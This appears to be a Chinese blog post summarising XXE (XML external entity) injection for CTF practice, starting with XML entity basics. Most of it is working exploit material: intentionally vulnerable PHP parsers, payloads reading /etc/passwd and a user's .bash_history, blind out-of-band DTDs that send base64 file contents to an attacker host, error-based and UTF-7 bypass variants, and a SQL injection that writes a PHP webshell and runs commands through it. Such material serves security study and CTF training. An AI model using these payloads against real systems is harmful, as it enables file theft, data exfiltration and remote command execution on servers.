XXE知识总结

XML一些基本概念

XML 被设计用来传输和存储数据。

HTML 被设计用来显示数据。

实体引用

在 XML 中,如果你把字符 "<" 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。

这样会产生 XML 错误:

<message>if salary < 1000 then</message>

为了避免这个错误,请用实体引用来代替 "<" 字符:

<message>if salary &lt; 1000 then</message> 

在 XML 中,有 5 个预定义的实体引用:

实体引用 表示符号 中文含义
&lt; < 小于
&gt; > 大于
&amp; & 和号
&apos; ' 单引号
&quot; " 引号

注释:在 XML 中,只有字符 "<" 和 "&" 确实是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。

实体的概念:

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。

一个内部实体声明

语法:

<!ENTITY 实体名称 "实体的值">

例子:

DTD 例子:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。

一个外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

有了以上的XML和DTD的知识基础,我们就可以学***E漏洞了。

XXE(XML External Entity Injection XML外部实体注入)

当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞

有回显读本地敏感文件(Normal XXE)
<?php	//xxe.php后端代码
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>
payload:

例1(直接通过DTD外部实体声明):

<?xml version="1.0" encoding = "utf-8"?>	
<!DOCTYPE a [							  
	<!ENTITY b SYSTEM "file:///etc/passwd" >
]>
<x>&b;</x>

例2(通过DTD文档引入外部DTD文档,再引入外部实体声明):

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://ip/xxe.dtd">
<x>&xxe;</x>

xxe.dtd的内容为:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

例3(通过DTD外部实体声明引入外部实体声明):

<?xml version="1.0"?>
<!DOCTYPE a [
	<!ENTITY % d SYSTEM "http://ip/xxe.dtd" >
	%d;
]>
<x>&xxe;</x>

xxe.dtd的内容为:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >
若读取的文件含有特殊字符(比如含有<>)导致解析引擎解析时发生错误,使用<![CDATA[ xxxx ] ]>当做原始内容处理
<?xml version = "1.0"?>
<!DOCTYPE a [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % content SYSTEM "file:///d:/a.txt">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://ip/xxe.dtd">
    %dtd;
]>
<x>&all;</x>

xxe.dtd的内容为:

<!ENTITY all "%start;%content;%end;">
无回显读取本地敏感文件(Blind XXE)
<?php	//xxe.php后端代码
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>
payload:
<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % dtd SYSTEM "http://ip/xxe.dtd">
    %dtd;%code;%send;
]>

xxe.dtd的内容为:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/a.txt">
<!ENTITY % code "<!ENTITY &#37; send SYSTEM 'http://ip:11111?p=%file;'>">

SVG造成XXE(SVG是基于XML的矢量图,因此支持Entity功能)

svgmagic(BsidesSF CTF 2019) SVG转PNG

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

svgggggg!(DozerCTF2020)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [ 
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
        <text y="20" font-size="20">&lab;</text>
</svg>

xml.dtd:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>">

发现sql注入,没有任何的过滤,直接利用into outfile写个一句话木马,当然这里要注意的是传入的时候要url编码。

http://127.0.0.1:8080/index.php?id=-1' union select 1,'<?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#

写完shell之后,继续利用数据外带读取内容,重复上面的步骤即可。

读取文件目录:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">

读取flag:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">

报错XXE(前提是php开启报错)

<?php
$input = file_get_contents('php://input');
if (preg_match('/(\<\!DOCTYPE|\<\!ENTITY)/i', $input)) {
	die('fail');
}
$obj = simplexml_load_string($input, 'XML', LIBXML_NOCDATA);
?>
<?xml version="1.0" ?>
<!DOCTYPE message [
	<!ENTITY % NUMBER '
	<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
	<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
	&#x25;eval;
	&#x25;error;
	'>
	%NUMBER;
]>
<message>any text</message>

XXE

编码绕过(UTF-7、UTF-16等)

<?xml version = "1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE ANY +AFs
    +Aad+AD0-convert.base64-encode/resource+AD0-file:///f+ACIAPg
+AF0APg
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
posted @   S1mh0  阅读(115)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示